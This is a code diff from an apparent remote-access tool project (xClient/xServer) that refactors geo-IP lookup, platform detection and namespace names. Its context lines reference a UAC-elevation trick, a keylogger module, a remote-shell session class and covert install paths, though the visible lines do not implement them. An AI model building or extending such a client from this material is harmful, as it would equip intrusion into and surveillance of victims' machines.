"ru.png", "rw.png", "sa.png", "sb.png", "sc.png", "scotland.png", "sd.png", "se.png", "sg.png", "sh.png",
|
|
||||||
"si.png", "sj.png", "sk.png", "sl.png", "sm.png", "sn.png", "so.png", "sr.png", "st.png", "sv.png", "sy.png",
|
|
||||||
"sz.png", "tc.png", "td.png", "tf.png", "tg.png", "th.png", "tj.png", "tk.png", "tl.png", "tm.png", "tn.png",
|
|
||||||
"to.png", "tr.png", "tt.png", "tv.png", "tw.png", "tz.png", "ua.png", "ug.png", "um.png", "us.png", "uy.png",
|
|
||||||
"uz.png", "va.png", "vc.png", "ve.png", "vg.png", "vi.png", "vn.png", "vu.png", "wales.png", "wf.png",
|
|
||||||
"ws.png", "ye.png", "yt.png", "za.png", "zm.png", "zw.png"
|
|
||||||
};
|
|
||||||
|
|
||||||
public static UserStatus LastStatus { get; set; }
|
public static UserStatus LastStatus { get; set; }
|
||||||
public static bool Disconnect { get; set; } // when Disconnect is true, stop all running threads
|
public static bool Disconnect { get; set; } // when Disconnect is true, stop all running threads
|
||||||
public static string OperatingSystem { get; set; }
|
public static string OperatingSystem { get; set; }
|
||||||
public static string MyPath { get; set; }
|
public static string MyPath { get; set; }
|
||||||
public static string InstallPath { get; set; }
|
public static string InstallPath { get; set; }
|
||||||
public static string AccountType { get; set; }
|
|
||||||
public static string WanIp { get; set; }
|
public static string WanIp { get; set; }
|
||||||
public static string Country { get; set; }
|
public static string AccountType { get; set; }
|
||||||
public static string CountryCode { get; set; }
|
|
||||||
public static string Region { get; set; }
|
|
||||||
public static string City { get; set; }
|
|
||||||
public static int ImageIndex { get; set; }
|
|
||||||
|
|
||||||
public static string GetOperatingSystem()
|
public static string GetOperatingSystem()
|
||||||
{
|
{
|
||||||
return string.Format("{0} {1} Bit", OSInfo.Name, OSInfo.Bits);
|
return string.Format("{0} {1} Bit", PlatformHelper.Name, PlatformHelper.Architecture);
|
||||||
}
|
}
|
||||||
|
|
||||||
public static string GetAccountType()
|
public static string GetAccountType()
|
||||||
|
@ -297,32 +262,6 @@ namespace xClient.Core
|
||||||
return "-";
|
return "-";
|
||||||
}
|
}
|
||||||
|
|
||||||
public static void InitializeGeoIp()
|
|
||||||
{
|
|
||||||
GeoIP gIp = new GeoIP();
|
|
||||||
|
|
||||||
Country = gIp.Country;
|
|
||||||
CountryCode = gIp.CountryCode;
|
|
||||||
Region = gIp.Region;
|
|
||||||
City = gIp.City;
|
|
||||||
WanIp = gIp.WanIp;
|
|
||||||
|
|
||||||
if (CountryCode == "-" || Country == "Unknown")
|
|
||||||
{
|
|
||||||
ImageIndex = 247; // question icon
|
|
||||||
return;
|
|
||||||
}
|
|
||||||
|
|
||||||
for (int i = 0; i < ImageList.Length; i++)
|
|
||||||
{
|
|
||||||
if (ImageList[i].Contains(CountryCode.ToLower()))
|
|
||||||
{
|
|
||||||
ImageIndex = i;
|
|
||||||
break;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
public static bool TryUacTrick()
|
public static bool TryUacTrick()
|
||||||
{
|
{
|
||||||
if (AccountType == "Admin")
|
if (AccountType == "Admin")
|
||||||
|
|
|
@ -4,7 +4,7 @@ using System.IO;
|
||||||
using System.Text;
|
using System.Text;
|
||||||
using System.Threading;
|
using System.Threading;
|
||||||
|
|
||||||
namespace xClient.Core.RemoteShell
|
namespace xClient.Core.Utilities
|
||||||
{
|
{
|
||||||
/// <summary>
|
/// <summary>
|
||||||
/// This class manages a remote shell session.
|
/// This class manages a remote shell session.
|
|
@ -6,6 +6,7 @@ using System.Windows.Forms;
|
||||||
using xClient.Config;
|
using xClient.Config;
|
||||||
using xClient.Core;
|
using xClient.Core;
|
||||||
using xClient.Core.Commands;
|
using xClient.Core.Commands;
|
||||||
|
using xClient.Core.Helper;
|
||||||
using xClient.Core.Keylogger;
|
using xClient.Core.Keylogger;
|
||||||
using xClient.Core.Networking;
|
using xClient.Core.Networking;
|
||||||
using xClient.Core.Packets;
|
using xClient.Core.Packets;
|
||||||
|
@ -115,7 +116,7 @@ namespace xClient
|
||||||
SystemCore.MyPath = Application.ExecutablePath;
|
SystemCore.MyPath = Application.ExecutablePath;
|
||||||
SystemCore.InstallPath = Path.Combine(Settings.DIR, ((!string.IsNullOrEmpty(Settings.SUBFOLDER)) ? Settings.SUBFOLDER + @"\" : "") + Settings.INSTALLNAME);
|
SystemCore.InstallPath = Path.Combine(Settings.DIR, ((!string.IsNullOrEmpty(Settings.SUBFOLDER)) ? Settings.SUBFOLDER + @"\" : "") + Settings.INSTALLNAME);
|
||||||
SystemCore.AccountType = SystemCore.GetAccountType();
|
SystemCore.AccountType = SystemCore.GetAccountType();
|
||||||
SystemCore.InitializeGeoIp();
|
GeoLocationHelper.Initialize();
|
||||||
|
|
||||||
if (Settings.ENABLEUACESCALATION)
|
if (Settings.ENABLEUACESCALATION)
|
||||||
{
|
{
|
||||||
|
|
|
@ -17,6 +17,11 @@ namespace xServer.Core.Helper
|
||||||
RunningOnMono = Type.GetType("Mono.Runtime") != null;
|
RunningOnMono = Type.GetType("Mono.Runtime") != null;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Determines if the current application is 32 or 64-bit.
|
||||||
|
/// </summary>
|
||||||
|
public static int Architecture { get { return IntPtr.Size * 8; } }
|
||||||
|
|
||||||
/// <summary>
|
/// <summary>
|
||||||
/// Returns a indicating whether the application is running in Mono runtime.
|
/// Returns a indicating whether the application is running in Mono runtime.
|
||||||
/// </summary>
|
/// </summary>
|
||||||
|
|
Loading…
Reference in New Issue